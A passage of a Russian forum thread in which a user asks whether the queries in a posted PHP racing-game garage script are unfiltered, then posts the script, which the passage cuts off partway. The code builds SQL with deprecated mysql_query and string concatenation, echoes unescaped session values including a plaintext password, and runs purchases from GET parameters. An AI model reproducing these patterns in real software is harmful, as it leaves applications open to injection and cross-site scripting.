ОБСУЖДЕНИЕ

нефильтрованые запросы

7 сообщений1 просмотровОткрыта
#1
это же всё нефильтрованые запросы верно?
PHP
# оксид азота
$n_power=nitro_power($user['nitro_level']);
$n_price_money=nitro_power_money($user['nitro_level']);
$n_price_baks=nitro_power_baks($user['nitro_level']);

# свечи
$c_power=candles_power($mycar['candles']);
$c_price_money=candles_price_money($mycar['candles']);
$c_price_baks=candles_price_baks($mycar['candles']);

# масло
$o_power=oil_power($mycar['oil']);
$o_price_money=oil_price_money($mycar['oil']);
$o_price_baks=oil_price_baks($mycar['oil']);

# колодки
$p_power=pads_power($mycar['pads']);
$p_price_money=pads_price_money($mycar['pads']);
$p_price_baks=pads_price_baks($mycar['pads']);

# шины
$b_power=bus_power($mycar['bus']);
$b_price_money=bus_price_money($mycar['bus']);
$b_price_baks=bus_price_baks($mycar['bus']);

# тормоза
$br_power=brakes_power($mycar['brakes']);
$br_price_money=brakes_price_money($mycar['brakes']);
$br_price_baks=brakes_price_baks($mycar['brakes']);

# сцепление
$cl_power=clutch_power($mycar['clutch']);
$cl_price_money=clutch_price_money($mycar['clutch']);
$cl_price_baks=clutch_price_baks($mycar['clutch']);

# маховик
$fl_power=flywheel_power($mycar['flywheel']);
$fl_price_money=flywheel_price_money($mycar['flywheel']);
$fl_price_baks=flywheel_price_baks($mycar['flywheel']);

# подвеска
$ss_power=suspension_power($mycar['suspension']);
$ss_price_money=suspension_price_money($mycar['suspension']);
$ss_price_baks=suspension_price_baks($mycar['suspension']);

# поршни
$ps_power=pistons_power($mycar['pistons']);
$ps_price_money=pistons_price_money($mycar['pistons']);
$ps_price_baks=pistons_price_baks($mycar['pistons']);

# турбина
$tr_power=turbine_power($mycar['turbine']);
$tr_price_money=turbine_price_money($mycar['turbine']);
$tr_price_baks=turbine_price_baks($mycar['turbine']);

# трансмиссия
$trm_power=transmission_power($mycar['transmission']);
$trm_price_money=transmission_price_money($mycar['transmission']);
$trm_price_baks=transmission_price_baks($mycar['transmission']);

# коллектор
$clr_power=collector_power($mycar['collector']);
$clr_price_money=collector_price_money($mycar['collector']);



#2
фильтруются только глобальные переменные
#3
вот смотри тут есть нефильтрованые запросы, покажи как он выглядит и как фильтровать эт так на будущее
Осторожно, спойлер
PHP
<?
include_once '../sys/core/start.php';
include_once '../sys/core/compress.php';
include_once '../sys/core/sess.php';
include_once '../sys/core/home.php';
include_once '../sys/core/db_connect.php';
include_once '../sys/core/ipua.php';
include_once '../sys/core/fnc.php';
include_once '../sys/core/user.php';
include_once '../sys/inc/fnc_game.php';
include_once '../sys/inc/thead.php';
include_once '../sys/inc/uhead.php';
only_reg();




# оксид азота
$n_power=nitro_power($user['nitro_level']);
$n_price_money=nitro_power_money($user['nitro_level']);
$n_price_baks=nitro_power_baks($user['nitro_level']);

# свечи
$c_power=candles_power($mycar['candles']);
$c_price_money=candles_price_money($mycar['candles']);
$c_price_baks=candles_price_baks($mycar['candles']);

# масло
$o_power=oil_power($mycar['oil']);
$o_price_money=oil_price_money($mycar['oil']);
$o_price_baks=oil_price_baks($mycar['oil']);

# колодки
$p_power=pads_power($mycar['pads']);
$p_price_money=pads_price_money($mycar['pads']);
$p_price_baks=pads_price_baks($mycar['pads']);

# шины
$b_power=bus_power($mycar['bus']);
$b_price_money=bus_price_money($mycar['bus']);
$b_price_baks=bus_price_baks($mycar['bus']);

# тормоза
$br_power=brakes_power($mycar['brakes']);
$br_price_money=brakes_price_money($mycar['brakes']);
$br_price_baks=brakes_price_baks($mycar['brakes']);

# сцепление
$cl_power=clutch_power($mycar['clutch']);
$cl_price_money=clutch_price_money($mycar['clutch']);
$cl_price_baks=clutch_price_baks($mycar['clutch']);

# маховик
$fl_power=flywheel_power($mycar['flywheel']);
$fl_price_money=flywheel_price_money($mycar['flywheel']);
$fl_price_baks=flywheel_price_baks($mycar['flywheel']);

# подвеска
$ss_power=suspension_power($mycar['suspension']);
$ss_price_money=suspension_price_money($mycar['suspension']);
$ss_price_baks=suspension_price_baks($mycar['suspension']);

# поршни
$ps_power=pistons_power($mycar['pistons']);
$ps_price_money=pistons_price_money($mycar['pistons']);
$ps_price_baks=pistons_price_baks($mycar['pistons']);

# турбина
$tr_power=turbine_power($mycar['turbine']);
$tr_price_money=turbine_price_money($mycar['turbine']);
$tr_price_baks=turbine_price_baks($mycar['turbine']);

# трансмиссия
$trm_power=transmission_power($mycar['transmission']);
$trm_price_money=transmission_price_money($mycar['transmission']);
$trm_price_baks=transmission_price_baks($mycar['transmission']);

# коллектор
$clr_power=collector_power($mycar['collector']);
$clr_price_money=collector_price_money($mycar['collector']);










if(isset($_SESSION['ok_registration_api']))
{
echo "<table class='wdt msg-table'><tr><td align='left' style='vertical-align: top; width: 10%'><img src='/style/img/images/face-ajl.png'></td><td align='left' style='vertical-align: top'>";
echo "<b>Вы успешно авторизировались!</b></br>Логин для входа: <b>$_SESSION[reg_api_nick]</b></br>Пароль для входа: <b>$_SESSION[reg_api_pass]</b></br>Приятной игры!</td></tr></table></td></tr></table>";
unset($_SESSION['ok_registration_api']);
}
elseif(isset($_SESSION['lapka']))
{
echo "<table class='wdt msg-table'><tr><td align='left' style='vertical-align: top; width: 10%'><img src='/style/img/images/face-ajl.png'></td><td align='left' style='vertical-align: top'>";
echo "Отличная покупка! Следующие 20 гонок ты будешь получать в 2 раза больше опыта.</td></tr></table></td></tr></table>";
unset($_SESSION['lapka']);
}
elseif(isset($_SESSION['power']))
{
upgrade_power($_SESSION['power']);
unset($_SESSION['power']);
}
elseif(isset($_SESSION['nitro']))
{
upgrade_nitro($_SESSION['nitro']);
unset($_SESSION['nitro']);
}
elseif(isset($_SESSION['police_fine_transit']))
{
echo "<table class='wdt msg-table'><tr><td align='left' style='vertical-align: top; width: 10%'><img src='/style/img/images/face-police.png'></td>";
echo "<td align='left' style='vertical-align: top'>";
echo "Вы оштрафованы за езду с транзитными номерами. Смените номер во избежании таких случаев.</td></tr></table></td></tr></table>";
unset($_SESSION['police_fine_transit']);
}
elseif(isset($_SESSION['police_fine_clear']))
{
echo "<table class='wdt msg-table'><tr><td align='left' style='vertical-align: top; width: 10%'><img src='/style/img/images/face-police.png'></td>";
echo "<td align='left' style='vertical-align: top'>";
echo "Документы в порядке, счастливого пути!</td></tr></table></td></tr></table>";
unset($_SESSION['police_fine_clear']);
}
else
{
include_once '../sys/inc/news.php';

if($set['every_day_bonus']=='1')
{
echo "<table class='wdt msg-table'><tr><td align='left' style='vertical-align: top; width: 10%'><img src='/style/img/images/face-ajl.png'></td>";
echo "<td align='left' style='vertical-align: top'>";
echo "Сегодня действует скидка <b>50%</b> на покупку машин в автосалоне!</td></tr></table></td></tr></table>";
}
elseif($set['every_day_bonus']=='2')
{
echo "<table class='wdt msg-table'><tr><td align='left' style='vertical-align: top; width: 10%'><img src='/style/img/images/face-ajl.png'></td>";
echo "<td align='left' style='vertical-align: top'>";
echo "Сегодня весь день ты можешь заправлять тачку в <b>2</b> раза дешевле!</td></tr></table></td></tr></table>";
}
}





if(isset($_GET['nitro']) && $user['nitro_level']<5){
$n_level=$user['nitro_level']+1;
$n_overal=$user['nitro_bonus']+$n_power;
$n_max=10;
if($user['money']>=$n_price_money && $user['baks']>=$n_price_baks){
mysql_query("UPDATE `user` SET `money` = '".($user['money']-$n_price_money)."', `baks` = '".($user['baks']-$n_price_baks)."', `nitro_bonus` = '".($user['nitro_bonus']+$n_power)."', `nitro_level` = '$n_level', `nitro` = '$n_max' WHERE `id`='".$user['id']."'");
$_SESSION['nitro']=$n_overal;
header("Location:/dev/garage.php");
}
else
{
header("Location:/dev/garage.php");
}
}


if(isset($_GET['lapka']) && $user['lapka']<20){
$lapka_cena=2;
if($user['baks']>=$lapka_cena){
mysql_query("UPDATE `user` SET `baks` = '".($user['baks']-$lapka_cena)."', `lapka` = '20' WHERE `id`='".$user['id']."'");
$_SESSION['lapka']=1;
header("Location:/dev/garage.php");
}
else
{
header("Location:/dev/bank.php");
}
}





if(isset($_GET['tun_candles'])){
$c_level=$mycar['candles']+1;
if($mycar['candles']<14){
if($user['money']>=$c_price_money && $user['baks']>=$c_price_baks){
mysql_query("UPDATE `user` SET `money` = '".($user['money']-$c_price_money)."', `baks` = '".($user['baks']-$c_price_baks)."' WHERE `id`='".$user['id']."'");
mysql_query("UPDATE `garage` SET `power` = '".($mycar['power']+$c_power)."' WHERE `id`='".$mycar['id']."'");
mysql_query("UPDATE `garage` SET `candles` = '$c_level' WHERE `id` = '".$mycar['id']."'");
$_SESSION['power']=$c_power;
header("Location:/dev/garage.php");
}
else
{
header("Location:/dev/garage.php");
}
}
else
{
header("Location:/dev/garage.php");
}
}




if(isset($_GET['tun_oil'])){
$o_level=$mycar['oil']+1;
if($mycar['oil']<15){
if($user['money']>=$o_price_money && $user['baks']>=$o_price_baks){
mysql_query("UPDATE `user` SET `money` = '".($user['money']-$o_price_money)."', `baks` = '".($user['baks']-$o_price_baks)."' WHERE `id`='".$user['id']."'");
mysql_query("UPDATE `garage` SET `power` = '".($mycar['power']+$o_power)."' WHERE `id`='".$mycar['id']."'");
mysql_query("UPDATE `garage` SET `oil` = '$o_level' WHERE `id` = '".$mycar['id']."'");
$_SESSION['power']=$o_power;
header("Location:/dev/garage.php");
}
else
{
header("Location:/dev/garage.php");
}
}
else
{
header("Location:/dev/garage.php");
}
}




if(isset($_GET['tun_pads'])){
$p_level=$mycar['pads']+1;
if($mycar['pads']<14){
if($user['money']>=$p_price_money && $user['baks']>=$p_price_baks){
mysql_query("UPDATE `user` SET `money` = '".($user['money']-$p_price_money)."', `baks` = '".($user['baks']-$p_price_baks)."' WHERE `id`='".$user['id']."'");
mysql_query("UPDATE `garage` SET `power` = '".($mycar['power']+$p_power)."' WHERE `id`='".$mycar['id']."'");
mysql_query("UPDATE `garage` SET `pads` = '$p_level' WHERE `id` = '".$mycar['id']."'");
$_SESSION['power']=$p_power;
header("Location:/dev/garage.php");
}
else
{
header("Location:/dev/garage.php");
}
}
else
{
header("Location:/dev/garage.php");
}
}




if(isset($_GET['tun_bus'])){
$b_level=$mycar['bus']+1;
if($mycar['bus']<7){
if($user['money']>=$b_price_money && $user['baks']>=$b_price_baks){
mysql_query("UPDATE `user` SET `money` = '".($user['money']-$b_price_money)."', `baks` = '".($user['baks']-$b_price_baks)."' WHERE `id`='".$user['id']."'");
mysql_query("UPDATE `garage` SET `power` = '".($mycar['power']+$b_power)."' WHERE `id`='".$mycar['id']."'");
mysql_query("UPDATE `garage` SET `bus` = '$b_level' WHERE `id` = '".$mycar['id']."'");
$_SESSION['power']=$b_power;
header("Location:/dev/garage.php");
}
else
{
header("Location:/dev/garage.php");
}
}
else
{
header("Location:/dev/garage.php");
}
}




if(isset($_GET['tun_brakes'])){
$br_level=$mycar['brakes']+1;
if($mycar['brakes']<14){
if($user['money']>=$br_price_money && $user['baks']>=$br_price_baks){
mysql_query("UPDATE `user` SET `money` = '".($user['money']-$br_price_money)."', `baks` = '".($user['baks']-$br_price_baks)."' WHERE `id`='".$user['id']."'");
mysql_query("UPDATE `garage` SET `power` = '".($mycar['power']+$br_power)."' WHERE `id`='".$mycar['id']."'");
mysql_query("UPDATE `garage` SET `brakes` = '$br_level' WHERE `id` = '".$mycar['id']."'");
$_SESSION['power']=$br_power;
header("Location:/dev/garage.php");
}
else
{
header("Location:/dev/garage.php");
}
}
else
{
header("Location:/dev/garage.php");
}
}




if(isset($_GET['tun_clutch'])){
$cl_level=$mycar['clutch']+1;
if($mycar['clutch']<14){
if($user['money']>=$cl_price_money && $user['baks']>=$cl_price_baks){
mysql_query("UPDATE `user` SET `money` = '".($user['money']-$cl_price_money)."', `baks` = '".($user['baks']-$cl_price_baks)."' WHERE `id`='".$user['id']."'");
mysql_query("UPDATE `garage` SET `power` = '".($mycar['power']+$cl_power)."' WHERE `id`='".$mycar['id']."'");
mysql_query("UPDATE `garage` SET `clutch` = '$cl_level' WHERE `id` = '".$mycar['id']."'");
$_SESSION['power']=$cl_power;
header("Location:/dev/garage.php");
}
else
{
header("Location:/dev/garage.php");
}
}
else
{
header("Location:/dev/garage.php");
}
}




if(isset($_GET['tun_flywheel'])){
$fl_level=$mycar['flywheel']+1;
if($mycar['flywheel']<13){
if($user['money']>=$fl_price_money && $user['baks']>=$fl_price_baks){
mysql_query("UPDATE `user` SET `money` = '".($user['money']-$fl_price_money)."', `baks` = '".($user['baks']-$fl_price_baks)."' WHERE `id`='".$user['id']."'");
mysql_query("UPDATE `garage` SET `power` = '".($mycar['power']+$fl_power)."' WHERE `id`='".$mycar['id']."'");
mysql_query("UPDATE `garage` SET `flywheel` = '$fl_level' WHERE `id` = '".$mycar['id']."'");
$_SESSION['power']=$fl_power;
header("Location:/dev/garage.php");
}
else
{
header("Location:/dev/garage.php");
}
}
else
{
header("Location:/dev/garage.php");
}
}




if(isset($_GET['tun_suspension'])){
$ss_level=$mycar['suspension']+1;
if($mycar['suspension']<14){
if($user['money']>=$ss_price_money && $user['baks']>=$ss_price_baks){
mysql_query("UPDATE `user` SET `money` = '".($user['money']-$ss_price_money)."', `baks` = '".($user['baks']-$ss_price_baks)."' WHERE `id`='".$user['id']."'");
mysql_query("UPDATE `garage` SET `power` = '".($mycar['power']+$ss_power)."' WHERE `id`='".$mycar['id']."'");
mysql_query("UPDATE `garage` SET `suspension` = '$ss_level' WHERE `id` = '".$mycar['id']."'");
$_SESSION['power']=$ss_power;
header("Location:/dev/garage.php");
}
else
{
header("Location:/dev/garage.php");
}
}
else
{
header("Location:/dev/garage.php");
}
}




if(isset($_GET['tun_pistons'])){
$ps_level=$mycar['pistons']+1;
if($mycar['pistons']<14){
if($user['money']>=$ps_price_money && $user['baks']>=$ps_price_baks){
mysql_query("UPDATE `user` SET `money` = '".($user['money']-$ps_price_money)."', `baks` = '".($user['baks']-$ps_price_baks)."' WHERE `id`='".$user['id']."'");
mysql_query("UPDATE `garage` SET `power` = '".($mycar['power']+$ps_power)."' WHERE `id`='".$mycar['id']."'");
mysql_query("UPDATE `garage` SET `pistons` = '$ps_level' WHERE `id` = '".$mycar['id']."'");
$_SESSION['power']=$ps_power;
header("Location:/dev/garage.php");
}
else
{
header("Location:/dev/garage.php");
}
}
else
{
header("Location:/dev/garage.php");
}
}




if(isset($_GET['tun_turbine'])){
$tr_level=$mycar['turbine']+1;
if($mycar['turbine']<14){
if($user['money']>=$tr_price_money && $user['baks']>=$tr_price_baks){
mysql_query("UPDATE `user` SET `money` = '".($user['money']-$tr_price_money)."', `baks` = '".($user['baks']-$tr_price_baks)."' WHERE `id`='".$user['id']."'");
mysql_query("UPDATE `garage` SET `power` = '".($mycar['power']+$tr_power)."' WHERE `id`='".$mycar['id']."'");
mysql_query("UPDATE `garage` SET `turbine` = '$tr_level' WHERE `id` = '".$mycar['id']."'");
$_SESSION['power']=$tr_power;
header("Location:/dev/garage.php");
}
else
{
header("Location:/dev/garage.php");
}
}
else
{
header("Location:/dev/garage.php");
}
}





if(isset($_GET['tun_transmission'])){
$trm_level=$mycar['transmission']+1;
if($mycar['transmission']<16){
if($user['money']>=$trm_price_money && $user['baks']>=$trm_price_baks){
mysql_query("UPDATE `user` SET `money` = '".($user['money']-$trm_price_money)."', `baks` = '".($user['baks']-$trm_price_baks)."' WHERE `id`='".$user['id']."'");
mysql_query("UPDATE `garage` SET `power` = '".($mycar['power']+$trm_power)."' WHERE `id`='".$mycar['id']."'");
mysql_query("UPDATE `garage` SET `transmission` = '$trm_level' WHERE `id` = '".$mycar['id']."'");
$_SESSION['power']=$trm_power;
header("Location:/dev/garage.php");
}
else
{
header("Location:/dev/garage.php");
}
}
else
{
header("Location:/dev/garage.php");
}
}




if(isset($_GET['tun_collector'])){
$clr_level=$mycar['collector']+1;
if($mycar['collector']<16){
if($user['money']>=$clr_price_money){
mysql_query("UPDATE `user` SET `money` = '".($user['money']-$clr_price_money)."' WHERE `id`='".$user['id']."'");
mysql_query("UPDATE `garage` SET `power` = '".($mycar['power']+$clr_power)."' WHERE `id`='".$mycar['id']."'");
mysql_query("UPDATE `garage` SET `collector` = '$clr_level' WHERE `id` = '".$mycar['id']."'");
$_SESSION['power']=$clr_power;
header("Location:/dev/garage.php");
}
else
{
header("Location:/dev/garage.php");
}
}
else
{
header("Location:/dev/garage.php");
}
}







echo "<table class='wdt garage-table'><tr><td align='right' style='padding-top: 4px; padding-left: 10px'>";
echo "<table class='wdt'>";
echo "<tr><td style='vertical-align: top;padding-top: 3px;' align='left' rowspan='4'><table>";

if($count_car>1){
echo "<tr><td style='vertical-align: bottom; padding: 2px;padding-right: 0px;' align='center'><a href='/dev/change_car.php' style='text-decoration: none'><img src='/style/img/icons/change_car.png' alt='change' width='100%'></a></td></tr>";
}

echo "</table></td><td align='left' class='white' style='vertical-align: top' width='40%'><b>$mycar[name]</b> <b class='class-$mycar[class] bold-text'>$mycar[class]</b></td></tr>";
echo "<tr><td align='left' class='white' style='font-size: 12px'>Рейтинг: <b class='yellow'><img src='/style/img/icons/rating.png' alt='Rating'> ".m_format($user['rating'])."</b></td></tr>";
echo "<tr><td align='left' style='font-size: 12px'> Бензин: <img src='/style/img/icons/fuel.png' alt='ing'> <b>$user[fuel]/$user[max_fuel]</b></td></tr></table></td></tr><tr><td></td></tr>";
echo "<tr><td><table class='wdt'>";
echo "<tr><td align='center' style='padding-bottom: 0px; padding-left: 10px; padding-right: 10px;' valign='bottom'></br><img class='wdt' src='/style/img/car/$mycar[screen].png' alt='car'>";
if($mycar['neon']!=0){
echo "<img class='wdt' style='margin-top: -19px;' src='/style/img/images/neon/$mycar[neon].png' alt='t'>";
}
else
{
echo "<img class='wdt' style='margin-top: -19px;' src='/style/img/images/car_shadow.png' alt='t'>";
}
echo "</td></tr></table></td></tr></table>";
echo "<table class='wdt main-menu'><tr>";
echo "<td class='white' align='center' style='width:25%; border-right: solid 1px #bebebf; vertical-align: bottom;'><b><a style='text-decoration: none; color: #000' href='/dev/map.php'><img src='/style/img/icons/map.png'><br>Город</a></b></td>";
echo "<td class='white' align='center' style='width:25%; border-right: solid 1px #bebebf; vertical-align: bottom;'><b><a style='text-decoration: none; color: #000' href='/dev/quest.php'><img src='/style/img/icons/quest.png'><br>Задания</a></b></td>";
if($user['level']>=5){
echo "<td class='white' align='center' style='width:25%; border-right: solid 1px #bebebf; vertical-align: bottom;'><b><a style='text-decoration: none; color: #000' href='/dev/taxi.php'><img src='/style/img/icons/taxi.png'><br>Такси</a></b></td>";
}
if(mysql_result(mysql_query("SELECT COUNT(*) FROM `turnir` WHERE `time_start` <= '$time' AND `time_end` >= '$time'"),0)!=0)
{
echo "<td class='gray' align='center' style='width:25%'><b><a style='text-decoration: none; color: #000' href='/dev/tournament.php'><img src='/style/img/icons/tournament_on.gif'><br>Турнир</a></b></td></tr></table>";
}
else
{
echo "<td class='gray' align='center' style='width:25%'><b><a style='text-decoration: none; color: #000' href='/dev/tournament.php'><img src='/style/img/icons/tournament.png'><br>Турнир</a></b></td></tr></table>";
}




if($user['lapka']>0 && $user['nitro']>0)
{
echo "<table class='wdt bonus-table'>";
echo "<tr><td align='left' style='height: 32px; padding-bottom: 0px; padding-top: 0px; padding-left: 10px; padding-right: 10px;' valign='middle'>";
echo "<table><tr><td align='center' style='padding-bottom: 0px; padding-top: 0px' valign='middle'>";
echo "<table><tr><td><img src='/style/img/icons/ico_luck_small.png' alt=''></td>";
echo "<td style='font-size: 10pt; font-weight: bold; line-height: 10pt;' valign='middle' align='left'>опыт<br>$user[lapka]/20</td></tr></table></td>";

echo "<td align='center' style='padding-bottom: 0px; padding-top: 0px' valign='middle'>";
echo "<table><tr><td><img src='/style/img/icons/ico_n2o_small.png' alt=''></td>";
echo "<td style='font-size: 10pt; font-weight: bold; line-height: 10pt;' valign='middle' align='left'>нитро<br>$user[nitro]/10</td></tr></table></td>";
echo "</tr></table></td></tr></table>";
}
elseif($user['lapka']>0 && $user['nitro']<1)
{
echo "<table class='wdt bonus-table'>";
echo "<tr><td align='left' style='height: 32px; padding-bottom: 0px; padding-top: 0px; padding-left: 10px; padding-right: 10px;' valign='middle'>";
echo "<table><tr><td align='center' style='padding-bottom: 0px; padding-top: 0px' valign='middle'>";
echo "<table><tr><td><img src='/style/img/icons/ico_luck_small.png' alt=''></td>";
echo "<td style='font-size: 10pt; font-weight: bold; line-height: 10pt;' valign='middle' align='left'>опыт<br>$user[lapka]/20</td></tr></table></td></tr></table></td></tr></table>";
}
elseif($user['lapka']<1 && $user['nitro']>0)
{
echo "<table class='wdt bonus-table'>";
echo "<tr><td align='left' style='height: 32px; padding-bottom: 0px; padding-top: 0px; padding-left: 10px; padding-right: 10px;' valign='middle'>";
echo "<table><tr><td align='center' style='padding-bottom: 0px; padding-top: 0px' valign='middle'>";
echo "<table><tr><td><img src='/style/img/icons/ico_n2o_small.png' alt=''></td>";
echo "<td style='font-size: 10pt; font-weight: bold; line-height: 10pt;' valign='middle' align='left'>нитро<br>$user[nitro]/10</td></tr></table></td></tr></table></td></tr></table>";
}





echo "<table class='wdt brown-header'><tr><td align='left'>Бонусные улучшения:</td></tr></table>";
echo "<table class='wdt gray-table' style='font-size: 10pt'>";
echo "<tr><td class='white td-cell' align='center' style='width:60px; padding-right:2px;'><img src='/style/img/icons/nitro.png'></td><td class='td-cell white' align='left' style='vertical-align:top;'>Нитро<br>";
if($user['nitro_level']<5){
echo "<img src='/style/img/icons/power.png' alt='coins' /> <b class='orange'>+".$n_power." л.с.</b>";
if($n_price_money>0){
if($user['money']>=$n_price_money){
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='white'> ".m_format($n_price_money)."</b>";
}else{
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='red'> ".m_format($n_price_money)."</b>";
}
}
if($n_price_baks>0){
if($user['baks']>=$n_price_baks){
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='green'> ".$n_price_baks."</b>";
}else{
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='red'> ".$n_price_baks."</b>";
}
}
}
else
{
echo "<img src='http://stracingstat1.stracing.mobi/race/img/power-white-ico.png' alt='power' /> <b class='white'>$user[nitro_bonus] л.с.</b>";
}
echo "<br></td><td class='td-cell' align='right' style='padding-right: 10px'>";
if($user['nitro_level']<5 && $user['money']>=$n_price_money && $user['baks']>=$n_price_baks){
echo "<form action='/dev/garage.php?nitro' method='post'><input class='upgrade-btn' type='submit' value='Установить'></form></td></tr>";
}
else
{
echo "<input class='upgrade-inactive-btn' type='submit' value='Установить'></td></tr>";
}

echo "<tr><td class='white td-cell' align='center' style='width:60px; padding-right:2px;'><img src='http://stracingstat1.stracing.mobi/race/img/upgrades/krl.png'></td><td class='td-cell white' align='left' style='vertical-align:top;'>Кроличья лапка<br>";
echo "Удваивает опыт";
if($user['lapka']>0)
{
echo "<br><b class='orange'>$user[lapka]/20</b>";
}
if($user['lapka']<20)
{
if($user['baks']>=2)
{
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='green'> 2</b>";
}
else
{
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='red'> 2</b>";
}
}

echo "<br></td><td class='td-cell' align='right' style='padding-right: 10px'>";
if($user['lapka']<20 && $user['baks']>=2){
echo "<form action='/dev/garage.php?lapka' method='post'><input class='upgrade-btn' type='submit' value='Взять'></form>";
}
else
{
echo "<input class='upgrade-inactive-btn' type='submit' value='Взять'>";
}
if($user['auto_lapka'] == 0){
echo '<div class="white" align="center">авто  <a href="?auto_lapka=on"><img src="/style/img/icons/off.png" height="20px" style="padding-top:4px;"></a></div>';
}else{
echo '<div class="white" align="center">авто  <a href="?auto_lapka=off"><img src="/style/img/icons/on.png" height="20px" style="padding-top:4px;"></a></div>';
}
echo"</td></tr>";





echo "<tr><td colspan='3' style='padding: 0px'>";
echo "<table class='wdt brown-header'><tr><td align='left'>Детали улучшают характеристики: </td></tr></table>";

echo "<tr><td class='white td-cell' align='center' style='width:60px; padding-right:2px;'><img src='/style/img/images/detail/candles/$mycar[candles].png'></td><td class='td-cell white' align='left' style='vertical-align:top;'>Свечи<br>";

if($mycar['candles']<14){
echo "<img src='/style/img/icons/power.png' alt='coins' /> <b class='orange'>+".$c_power." л.с.</b>";
if($c_price_money>0){
if($user['money']>=$c_price_money){
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='white'> ".m_format($c_price_money)."</b>";
}else{
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='red'> ".m_format($c_price_money)."</b>";
}
}
if($c_price_baks>0){
if($user['baks']>=$c_price_baks){
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='green'> ".$c_price_baks."</b>";
}else{
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='red'> ".$c_price_baks."</b>";
}
}
}
echo "</td><td class='td-cell' align='right' style='padding-right: 10px'>";
if($mycar['candles']<14 && $user['money']>=$c_price_money && $user['baks']>=$c_price_baks){
echo "<form action='/dev/garage.php?tun_candles' method='post'><input class='upgrade-btn' type='submit' value='Улучшить'></form></td></tr>";
}else{
echo "<input class='upgrade-inactive-btn' type='submit' value='Улучшить'></td></tr>";
}
echo "<tr><td class='white td-cell' align='center' style='width:60px; padding-right:2px;'><img src='/style/img/images/detail/oil/$mycar[oil].png'></td><td class='td-cell white' align='left' style='vertical-align:top;'>Масло<br>";






if($mycar['oil']<15){
echo "<img src='/style/img/icons/power.png' alt='coins' /> <b class='orange'>+".$o_power." л.с.</b>";
if($o_price_money>0){
if($user['money']>=$o_price_money){
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='white'> ".m_format($o_price_money)."</b>";
}else{
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='red'> ".m_format($o_price_money)."</b>";
}
}
if($o_price_baks>0){
if($user['baks']>=$o_price_baks){
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='green'> ".$o_price_baks."</b>";
}else{
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='red'> ".$o_price_baks."</b>";
}
}
}
echo "</td><td class='td-cell' align='right' style='padding-right: 10px'>";
if($mycar['oil']<15 && $user['money']>=$o_price_money && $user['baks']>=$o_price_baks){
echo "<form action='/dev/garage.php?tun_oil' method='post'><input class='upgrade-btn' type='submit' value='Улучшить'></form></td></tr>";
}else{
echo "<input class='upgrade-inactive-btn' type='submit' value='Улучшить'></td></tr>";
}
echo "<tr><td class='white td-cell' align='center' style='width:60px; padding-right:2px;'><img src='/style/img/images/detail/pads/$mycar[pads].png'></td><td class='td-cell white' align='left' style='vertical-align:top;'>Колодки<br>";






if($mycar['pads']<14){
echo "<img src='/style/img/icons/power.png' alt='coins' /> <b class='orange'>+".$p_power." л.с.</b>";
if($p_price_money>0){
if($user['money']>=$p_price_money){
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='white'> ".m_format($p_price_money)."</b>";
}else{
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='red'> ".m_format($p_price_money)."</b>";
}
}
if($p_price_baks>0){
if($user['baks']>=$p_price_baks){
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='green'> ".$p_price_baks."</b>";
}else{
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='red'> ".$p_price_baks."</b>";
}
}
}
echo "</td><td class='td-cell' align='right' style='padding-right: 10px'>";
if($mycar['pads']<14 && $user['money']>=$p_price_money && $user['baks']>=$p_price_baks){
echo "<form action='/dev/garage.php?tun_pads' method='post'><input class='upgrade-btn' type='submit' value='Улучшить'></form></td></tr>";
}else{
echo "<input class='upgrade-inactive-btn' type='submit' value='Улучшить'></td></tr>";
}
echo "<tr><td class='white td-cell' align='center' style='width:60px; padding-right:2px;'><img src='/style/img/images/detail/bus/$mycar[bus].png'></td><td class='td-cell white' align='left' style='vertical-align:top;'>Шины<br>";






if($mycar['bus']<7){
echo "<img src='/style/img/icons/power.png' alt='coins' /> <b class='orange'>+".$b_power." л.с.</b>";
if($b_price_money>0){
if($user['money']>=$b_price_money){
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='white'> ".m_format($b_price_money)."</b>";
}else{
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='red'> ".m_format($b_price_money)."</b>";
}
}
if($b_price_baks>0){
if($user['baks']>=$b_price_baks){
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='green'> ".$b_price_baks."</b>";
}else{
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='red'> ".$b_price_baks."</b>";
}
}
}
echo "</td><td class='td-cell' align='right' style='padding-right: 10px'>";
if($mycar['bus']<7 && $user['money']>=$b_price_money && $user['baks']>=$b_price_baks){
echo "<form action='/dev/garage.php?tun_bus' method='post'><input class='upgrade-btn' type='submit' value='Улучшить'></form></td></tr>";
}else{
echo "<input class='upgrade-inactive-btn' type='submit' value='Улучшить'></td></tr>";
}
echo "<tr><td class='white td-cell' align='center' style='width:60px; padding-right:2px;'><img src='/style/img/images/detail/brakes/$mycar[brakes].png'></td><td class='td-cell white' align='left' style='vertical-align:top;'>Тормоза<br>";






if($mycar['brakes']<14){
echo "<img src='/style/img/icons/power.png' alt='coins' /> <b class='orange'>+".$br_power." л.с.</b>";
if($br_price_money>0){
if($user['money']>=$br_price_money){
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='white'> ".m_format($br_price_money)."</b>";
}else{
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='red'> ".m_format($br_price_money)."</b>";
}
}
if($br_price_baks>0){
if($user['baks']>=$br_price_baks){
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='green'> ".$br_price_baks."</b>";
}else{
